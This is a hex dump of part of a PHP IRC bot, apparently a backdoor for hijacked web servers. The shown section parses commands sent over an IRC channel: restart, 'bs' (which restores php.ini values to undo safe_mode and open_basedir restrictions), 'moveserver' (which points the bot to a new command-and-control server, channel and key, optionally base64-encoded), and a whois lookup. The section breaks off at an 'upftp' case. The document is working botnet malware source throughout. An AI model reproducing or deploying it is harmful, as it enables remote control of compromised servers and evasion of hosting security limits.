| 12768: | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 20 | 22 | 51 | 55 | 49 | 54 | 20 | 3A | 72 | 65 | 73 | 74 | 61 | 72 | 74 | 20 | | $this->send( "QUIT :restart |
| 12800: | 63 | 6F | 6D | 6D | 61 | 6E | 64 | 20 | 66 | 72 | 6F | 6D | 20 | 22 | 2E | 24 | 6E | 69 | 63 | 6B | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | command from ".$nick );
|
| 12832: | 09 | 09 | 09 | 09 | 09 | 66 | 63 | 6C | 6F | 73 | 65 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 6E | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | | fclose( $this->conn );
|
| 12864: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 74 | 61 | 72 | 74 | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | $this->start();
|
| 12896: | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | | break;
}
|
| 12928: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 62 | 73 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | | case "bs":
{
|
| 12960: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 69 | 73 | 5F | 73 | 61 | 66 | 65 | 28 | |
if( $this->is_safe( |
| 12992: | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ) )
{
|
| 13024: | 09 | 09 | 69 | 6E | 69 | 5F | 72 | 65 | 73 | 74 | 6F | 72 | 65 | 28 | 20 | 22 | 73 | 61 | 66 | 65 | 5F | 6D | 6F | 64 | 65 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | | ini_restore( "safe_mode" );
|
| 13056: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 6E | 69 | 5F | 72 | 65 | 73 | 74 | 6F | 72 | 65 | 28 | 20 | 22 | 6F | 70 | 65 | 6E | 5F | 62 | | ini_restore( "open_b |
| 13088: | 61 | 73 | 65 | 64 | 69 | 72 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | asedir" );
}
|
| 13120: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | 65 | 20 | 3D | |
$safemode = |
| 13152: | 20 | 22 | 6F | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | | "on";
if( !$this-> |
| 13184: | 69 | 73 | 5F | 73 | 61 | 66 | 65 | 28 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | | is_safe( ) )
{
|
| 13216: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | 65 | 20 | 3D | 20 | 22 | 6F | 66 | 66 | 22 | 3B | 0D | 0A | 09 | 09 | | $safemode = "off";
|
| 13248: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 74 | 5F | 6E | 69 | 63 | 6B | 28 | 29 | 3B | 0D | 0A | 09 | | $this->set_nick();
|
| 13280: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | | }
$this- |
| 13312: | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 27 | 5B | | >privmsg( $this->get_chan( ), '[ |
| 13344: | 20 | 73 | 61 | 66 | 65 | 20 | 5D | 20 | 27 | 2E | 24 | 73 | 61 | 66 | 65 | 6D | 6F | 64 | 65 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | safe ] '.$safemode );
|
| 13376: | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 6D | 6F | 76 | 65 | 73 | 65 | 72 | 76 | 65 | | }
case "moveserve |
| 13408: | 72 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | | r":
{
i |
| 13440: | 66 | 28 | 20 | 63 | 6F | 75 | 6E | 74 | 28 | 20 | 24 | 6D | 63 | 6D | 64 | 20 | 29 | 20 | 3E | 20 | 33 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | f( count( $mcmd ) > 3 )
|
| 13472: | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 65 | 72 | 76 | 65 | 72 | 20 | 3D | 20 | 24 | | {
$server = $ |
| 13504: | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 6F | 72 | 74 | 20 | 3D | 20 | 24 | | mcmd[1];
$port = $ |
| 13536: | 6D | 63 | 6D | 64 | 5B | 32 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 63 | 68 | 61 | 6E | 6E | 65 | 6C | 20 | | mcmd[2];
$channel |
| 13568: | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 33 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6B | 65 | 79 | 20 | 3D | | = $mcmd[3];
$key = |
| 13600: | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 34 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | $mcmd[4];
|
| 13632: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 75 | 73 | 69 | 6E | 67 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 20 | | if( $this->using_encode |
| 13664: | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | )
{
|
| 13696: | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 73 | 65 | 72 | 76 | 65 | 72 | 27 | 20 | 5D | 20 | 3D | 20 | 62 | 61 | 73 | | $this->config[ 'server' ] = bas |
| 13728: | 65 | 36 | 34 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 28 | 20 | 24 | 73 | 65 | 72 | 76 | 65 | 72 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | e64_encode( $server );
|
| 13760: | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 63 | 68 | 61 | 6E | 27 | 20 | 5D | 20 | 3D | 20 | | $this->config[ 'chan' ] = |
| 13792: | 62 | 61 | 73 | 65 | 36 | 34 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 28 | 20 | 73 | 74 | 72 | 5F | 72 | 65 | 70 | 6C | 61 | 63 | 65 | 28 | 20 | 22 | 23 | 22 | 2C | | base64_encode( str_replace( "#", |
| 13824: | 20 | 22 | 22 | 2C | 20 | 24 | 63 | 68 | 61 | 6E | 6E | 65 | 6C | 20 | 29 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | "", $channel ) );
|
| 13856: | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 6B | 65 | 79 | 27 | 20 | 5D | 20 | 3D | 20 | 62 | 61 | 73 | 65 | 36 | | $this->config[ 'key' ] = base6 |
| 13888: | 34 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 28 | 20 | 24 | 6B | 65 | 79 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | 4_encode( $key );
|
| 13920: | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | }
else
|
| 13952: | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | | {
$this->confi |
| 13984: | 67 | 5B | 20 | 27 | 73 | 65 | 72 | 76 | 65 | 72 | 27 | 20 | 5D | 20 | 3D | 20 | 24 | 73 | 65 | 72 | 76 | 65 | 72 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | g[ 'server' ] = $server;
|
| 14016: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 63 | 68 | 61 | 6E | 27 | 20 | 5D | 20 | | $this->config[ 'chan' ] |
| 14048: | 3D | 20 | 73 | 74 | 72 | 5F | 72 | 65 | 70 | 6C | 61 | 63 | 65 | 28 | 20 | 22 | 23 | 22 | 2C | 20 | 22 | 22 | 2C | 20 | 24 | 63 | 68 | 61 | 6E | 6E | 65 | 6C | | = str_replace( "#", "", $channel |
| 14080: | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | | );
$this->config |
| 14112: | 5B | 20 | 27 | 6B | 65 | 79 | 27 | 20 | 5D | 20 | 3D | 20 | 24 | 6B | 65 | 79 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | [ 'key' ] = $key;
|
| 14144: | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | | }
$ |
| 14176: | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 70 | 6F | 72 | 74 | 27 | 20 | 5D | 20 | 3D | 20 | 24 | 70 | 6F | 72 | 74 | 3B | 0D | | this->config[ 'port' ] = $port;
|
| 14208: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | |
$this->privmsg( $t |
| 14240: | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 6D | 6F | 76 | 65 | 73 | 65 | 72 | 76 | 65 | 72 | 20 | | his->get_chan( ), "[ moveserver |
| 14272: | 5D | 20 | 22 | 2E | 24 | 73 | 65 | 72 | 76 | 65 | 72 | 2E | 22 | 20 | 3D | 3E | 20 | 22 | 2E | 24 | 70 | 6F | 72 | 74 | 2E | 22 | 20 | 3D | 3E | 20 | 22 | 2E | | ] ".$server." => ".$port." => ". |
| 14304: | 24 | 63 | 68 | 61 | 6E | 6E | 65 | 6C | 2E | 22 | 20 | 3D | 3E | 20 | 22 | 2E | 24 | 6B | 65 | 79 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | $channel." => ".$key );
|
| 14336: | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 20 | 22 | 51 | 55 | 49 | 54 | 20 | 3A | 6D | 6F | 76 | 65 | 73 | 65 | | $this->send( "QUIT :movese |
| 14368: | 72 | 76 | 65 | 72 | 20 | 63 | 6F | 6D | 6D | 61 | 6E | 64 | 20 | 66 | 72 | 6F | 6D | 20 | 22 | 2E | 24 | 6E | 69 | 63 | 6B | 20 | 29 | 3B | 0D | 0A | 09 | 09 | | rver command from ".$nick );
|
| 14400: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 66 | 63 | 6C | 6F | 73 | 65 | |
fclose |
| 14432: | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 6E | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | | ( $this->conn );
$ |
| 14464: | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 74 | 61 | 72 | 74 | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | | this->start();
}
|
| 14496: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | | break;
}
|
| 14528: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 77 | 68 | 6F | 69 | 73 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | |
case "whois":
|
| 14560: | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 61 | 72 | 61 | 6D | 32 | 20 | 3D | 20 | 24 | | {
$param2 = $ |
| 14592: | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | mcmd[1];
|
| 14624: | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | 24 | 70 | 61 | 72 | 61 | 6D | 32 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | | if( !empty( $param2 ) )
|
| 14656: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 2F | 2F | 64 | 6F | 20 | 69 | 74 | | {
//do it |
| 14688: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 2F | 2F | 68 | 74 | 74 | 70 | 3A | 2F | 2F | 77 | 73 | 2E | 61 | 72 | 69 | 6E | 2E | |
//http://ws.arin. |
| 14720: | 6E | 65 | 74 | 2F | 77 | 68 | 6F | 69 | 73 | 2F | 3F | 71 | 75 | 65 | 72 | 79 | 69 | 6E | 70 | 75 | 74 | 3D | 31 | 32 | 37 | 2E | 30 | 2E | 30 | 2E | 31 | 0D | | net/whois/?queryinput=127. . .1
|
| 14752: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 66 | 70 | 20 | 3D | 20 | 66 | 73 | 6F | 63 | 6B | 6F | 70 | 65 | 6E | 28 | 20 | 22 | |
$fp = fsockopen( " |
| 14784: | 77 | 73 | 2E | 61 | 72 | 69 | 6E | 2E | 6E | 65 | 74 | 22 | 2C | 20 | 38 | 30 | 2C | 20 | 24 | 65 | 72 | 72 | 6E | 6F | 2C | 20 | 24 | 65 | 72 | 72 | 73 | 74 | | ws.arin.net", 8 , $errno, $errst |
| 14816: | 72 | 2C | 20 | 33 | 30 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | r, 3 );
|
| 14848: | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 66 | 70 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | | if( $fp )
{
|
| 14880: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 3D | 20 | 22 | 47 | 45 | 54 | 20 | 2F | 77 | 68 | 6F | 69 | |
$out = "GET /whoi |
| 14912: | 73 | 2F | 3F | 71 | 75 | 65 | 72 | 79 | 69 | 6E | 70 | 75 | 74 | 3D | 24 | 70 | 61 | 72 | 61 | 6D | 32 | 20 | 48 | 54 | 54 | 50 | 2F | 31 | 2E | 31 | 5C | 72 | | s/?queryinput=$param2 HTTP/1.1\r |
| 14944: | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 2E | 3D | 20 | 22 | 48 | 6F | 73 | | \n";
$out .= "Hos |
| 14976: | 74 | 3A | 20 | 77 | 73 | 2E | 61 | 72 | 69 | 6E | 2E | 6E | 65 | 74 | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | t: ws.arin.net\r\n";
|
| 15008: | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 2E | 3D | 20 | 22 | 4B | 65 | 65 | 70 | 2D | 41 | 6C | 69 | 76 | 65 | 3A | 20 | 33 | 30 | 30 | 5C | 72 | 5C | 6E | | $out .= "Keep-Alive: 3 \r\n |
| 15040: | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 2E | 3D | 20 | 22 | 43 | 6F | 6E | 6E | 65 | | ";
$out .= "Conne |
| 15072: | 63 | 74 | 69 | 6F | 6E | 3A | 20 | 6B | 65 | 65 | 70 | 2D | 61 | 6C | 69 | 76 | 65 | 5C | 72 | 5C | 6E | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | | ction: keep-alive\r\n\r\n";
|
| 15104: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 66 | 77 | 72 | 69 | 74 | 65 | 28 | 20 | 24 | 66 | 70 | 2C | 20 | 24 | 6F | 75 | 74 | 20 | 29 | 3B | 0D | | fwrite( $fp, $out );
|
| 15136: | 0A | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 77 | 68 | 6F | 64 | 61 | 74 | 61 | 20 | 3D | 20 | 27 | 27 | 3B | |
$whodata = ''; |
| 15168: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 77 | 68 | 69 | 6C | 65 | 28 | 21 | 66 | 65 | 6F | 66 | 28 | 24 | 66 | 70 | 29 | |
while(!feof($fp) |
| 15200: | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | )
{
|
| 15232: | 09 | 09 | 09 | 2F | 2A | 64 | 6F | 20 | 6E | 6F | 74 | 68 | 69 | 6E | 67 | 2A | 2F | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | /*do nothing*/
|
| 15264: | 09 | 09 | 24 | 77 | 68 | 6F | 64 | 61 | 74 | 61 | 20 | 2E | 3D | 20 | 66 | 72 | 65 | 61 | 64 | 28 | 20 | 24 | 66 | 70 | 2C | 20 | 31 | 30 | 32 | 34 | 20 | 29 | | $whodata .= fread( $fp, 1 24 ) |
| 15296: | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ;
}
|
| 15328: | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 65 | 78 | 70 | 6C | 6B | 20 | 3D | 20 | 65 | 78 | 70 | 6C | 6F | |
$explk = explo |
| 15360: | 64 | 65 | 28 | 20 | 22 | 3C | 64 | 69 | 76 | 20 | 69 | 64 | 3D | 5C | 22 | 63 | 6F | 6E | 74 | 65 | 6E | 74 | 5C | 22 | 3E | 22 | 2C | 20 | 24 | 77 | 68 | 6F | | de( "<div id=\"content\">", $who |
| 15392: | 64 | 61 | 74 | 61 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 65 | 78 | 70 | 6C | 6B | 20 | 3D | 20 | | data );
$explk = |
| 15424: | 65 | 78 | 70 | 6C | 6F | 64 | 65 | 28 | 20 | 22 | 3C | 2F | 64 | 69 | 76 | 3E | 22 | 2C | 20 | 24 | 65 | 78 | 70 | 6C | 6B | 5B | 31 | 5D | 20 | 29 | 3B | 0D | | explode( "</div>", $explk[1] );
|
| 15456: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 68 | 74 | 6D | 6C | 64 | 61 | 74 | 20 | 3D | 20 | 73 | 74 | 72 | 69 | 70 | 5F | |
$htmldat = strip_ |
| 15488: | 74 | 61 | 67 | 73 | 28 | 20 | 24 | 65 | 78 | 70 | 6C | 6B | 5B | 30 | 5D | 20 | 29 | 3B | 0D | 0A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | tags( $explk[ ] );
|
| 15520: | 09 | 09 | 09 | 09 | 66 | 63 | 6C | 6F | 73 | 65 | 28 | 20 | 24 | 66 | 70 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | fclose( $fp );
|
| 15552: | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | |
$this->privmsg |
| 15584: | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 77 | 68 | 6F | 69 | 73 | 20 | 5D | | ( $this->get_chan( ), "[ whois ] |
| 15616: | 20 | 24 | 68 | 74 | 6D | 6C | 64 | 61 | 74 | 22 | 20 | 29 | 3B | 0D | 0A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 65 | | $htmldat" );
}e |
| 15648: | 6C | 73 | 65 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | | lse{
$this->privm |
| 15680: | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 77 | 68 | 6F | 69 | 73 | | sg( $this->get_chan( ), "[ whois |
| 15712: | 20 | 5D | 20 | 45 | 72 | 72 | 6F | 72 | 3A | 20 | 24 | 65 | 72 | 72 | 73 | 74 | 72 | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ] Error: $errstr" );
|
| 15744: | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | }
}
|
| 15776: | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | else
{
|
| 15808: | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | | $this->privmsg( $this->get_c |
| 15840: | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 77 | 68 | 6F | 69 | 73 | 20 | 5D | 20 | 49 | 6E | 76 | 61 | 6C | 69 | 64 | 20 | 70 | 61 | 72 | 61 | 6D | | han( ), "[ whois ] Invalid param |
| 15872: | 73 | 2C | 20 | 75 | 73 | 65 | 20 | 2E | 77 | 68 | 6F | 69 | 73 | 20 | 3C | 69 | 70 | 2F | 68 | 6F | 73 | 74 | 3E | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | | s, use .whois <ip/host>" );
|
| 15904: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | | }
break;
|
| 15936: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 75 | | }
case "u |
| 15968: | 70 | 66 | 74 | 70 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | pftp":
{
|
